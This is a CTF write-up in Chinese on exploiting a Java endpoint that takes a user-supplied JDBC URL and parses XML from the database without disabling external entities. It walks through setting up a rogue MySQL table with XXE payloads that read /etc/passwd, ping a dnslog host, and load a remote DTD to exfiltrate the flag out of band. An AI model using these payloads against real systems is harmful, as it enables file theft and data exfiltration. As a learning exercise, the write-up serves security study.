记一次从 sql 到 xml 的 java 题
记一次从 sql 到 xml 的 java 题
前言
打一个比赛的时候做到了一个 java 题,这里也是记录一下,感觉思路还是不错的
解题
首先进入题目
然后看到代码部分
给的代码不多
package org.example.ezjava;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.SQLXML;
import java.sql.Statement;
import javax.xml.transform.dom.DOMSource;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
/* loaded from: MainController.class */
public class MainController {
@GetMapping({"/"})
public String index() {
return "Hello World, nothing here. What? You need flag? Take a look at '/vuln'.";
}
@PostMapping({"/vuln"})
public String vuln(@RequestParam(value = "jdbc_conn", defaultValue = "") String jdbc_conn) throws SQLException, ClassNotFoundException {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection connection = DriverManager.getConnection(jdbc_conn);
if (connection != null) {
Statement statement = connection.createStatement();
statement.execute("select * from exp");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("content");
sqlxml.getSource(DOMSource.class);
}
return "O.o你拿到flag了吗?";
}
return "O.o你拿到flag了吗?";
}
@GetMapping({"/vuln"})
public String vuln_get() {
return "<h1>ᕕ( ᐛ )ᕗ Web Yes! Java No!</h1><p>为什么是Java?Jar包能干嘛?JDBC依赖是什么?CVE是什么?XXE是什么?怎么读取到Flag?SQL是什么?上哪去搭恶意服务?读了Flag却看不到?那咋办呢o.O?</p>";
}
}
主要逻辑是在 vuln 路由,我们可以控制的是 jdbc 的 url
我们可以进行 jdbc 的连接,然后查询出 exp,用于
SQLXML sqlxml = resultSet.getSQLXML("content");
sqlxml.getSource(DOMSource.class);
我刚开始确实不知道这是打 xxe
先简单跟进一下 getSource 方法
public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
try {
this.checkClosed();
this.checkWorkingWithResult();
InputSource reader;
if (clazz != null && !clazz.equals(SAXSource.class)) {
SQLException sqlEx;
if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();
InputSource inputSource = null;
if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}
return new DOMSource(builder.parse(inputSource));
} catch (Throwable var6) {
sqlEx = SQLError.createSQLException(var6.getMessage(), "S1009", var6, this.exceptionInterceptor);
throw sqlEx;
}
} else {
Object reader;
if (clazz.equals(StreamSource.class)) {
reader = null;
if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}
return new StreamSource((Reader)reader);
} else if (clazz.equals(StAXSource.class)) {
try {
reader = null;
if (this.fromResultSet) {
reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
} else {
reader = new StringReader(this.stringRep);
}
return new StAXSource(this.inputFactory.createXMLStreamReader((Reader)reader));
} catch (XMLStreamException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}
} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[]{clazz.toString()}), "S1009", this.exceptionInterceptor);
}
}
} else {
reader = null;
if (this.fromResultSet) {
reader = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
reader = new InputSource(new StringReader(this.stringRep));
}
return new SAXSource(reader);
}
} catch (CJException var8) {
throw SQLExceptionsMapping.translateException(var8, this.exceptionInterceptor);
}
}
方法很长,然后关键的是可以看到解析了 xml 数据格式,而且没有设置任意的过滤,比如禁用外部实体注入啥的
然后 exp 是需要从数据库中提取的,所以我们需要设置一个恶意的 mysql 服务器存放恶意的数据
首先根据代码逻辑,我们需要创建一个 exp 的 table
CREATE TABLE exp (
id INT AUTO_INCREMENT PRIMARY KEY,
content XML
);
然后放入我们的恶意数据
这里一开始问的 gpt
INSERT INTO exp (content) VALUES
(
'<?xml version="1.0" encoding="UTF-8"?>' ||
'<!DOCTYPE foo [' ||
'<!ELEMENT foo ANY >' ||
'<!ENTITY xxe SYSTEM "file:///etc/passwd">' ||
']>' ||
'<foo>&xxe;</foo>'
);
把我们的格式给弄坏了,最后直接把多余的删除就好了,根本不需要什么||的
INSERT INTO exp (content) VALUES
(
CONCAT(
'<?xml version="1.0" encoding="UTF-8"?>',
'<!DOCTYPE foo [',
'<!ELEMENT foo ANY >',
'<!ENTITY xxe SYSTEM "http://bc93f473.log.dnslog.sbs.">',
']>',
'<foo>&xxe;</foo>'
)
);
我这里先测试一下能不能 dns
在输入连接参数的时候又出现了问题
jdbc:mysql://127.0.0.1:3306/dg_test?user=root&password=123456
2024-11-20T20:08:36.831+08:00 ERROR 37228 --- [bindxxe] [nio-9988-exec-5] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed: java.sql.SQLException: Access denied for user 'root'@'localhost' (using password: NO)] with root cause
问问 gpt 同学
错误信息指出使用 root 用户进行数据库连接时,密码没有被正确传递。(using password: NO) 表示数据库连接时没有提供密码。
这通常是因为 JDBC URL 没有正确包含密码部分,或者代码没有正确处理密码的传递。
首先排除我的数据库密码问题,说明没有使用??
估计应该是其他问题,应该是 jdbc url 写错了
然后尝试这样
jdbc:mysql://root:123456@127.0.0.1:3306/dg_test
报错更新了
Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed: java.sql.SQLException: The server time zone value '�й���ʱ��' is unrecognized or represents more than one time zone. You must configure either the server or JDBC driver (via the 'serverTimezone' configuration property) to use a more specifc time zone value if you want to utilize time zone support.] with root cause
问了后
这个错误的原因是 MySQL 服务器时区设置为 '�й���ʱ��'(中文乱码),而 MySQL 驱动程序无法识别该时区,导致连接失败。解决这个问题的方法是显式地设置 JDBC 连接字符串中的 serverTimezone 参数。
然后终于解决了
终于连上了
然后 dns 也有反应
根据他的提示尝试盲注 xxe
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/file.dtd">
%remote;%int;%send;
]>
然后服务器上放置我们的代码
然后监听端口
注意这里的 mysql 需要公网的 mysql 了
得到了我们的 flag
0 条评论
可输入 255 字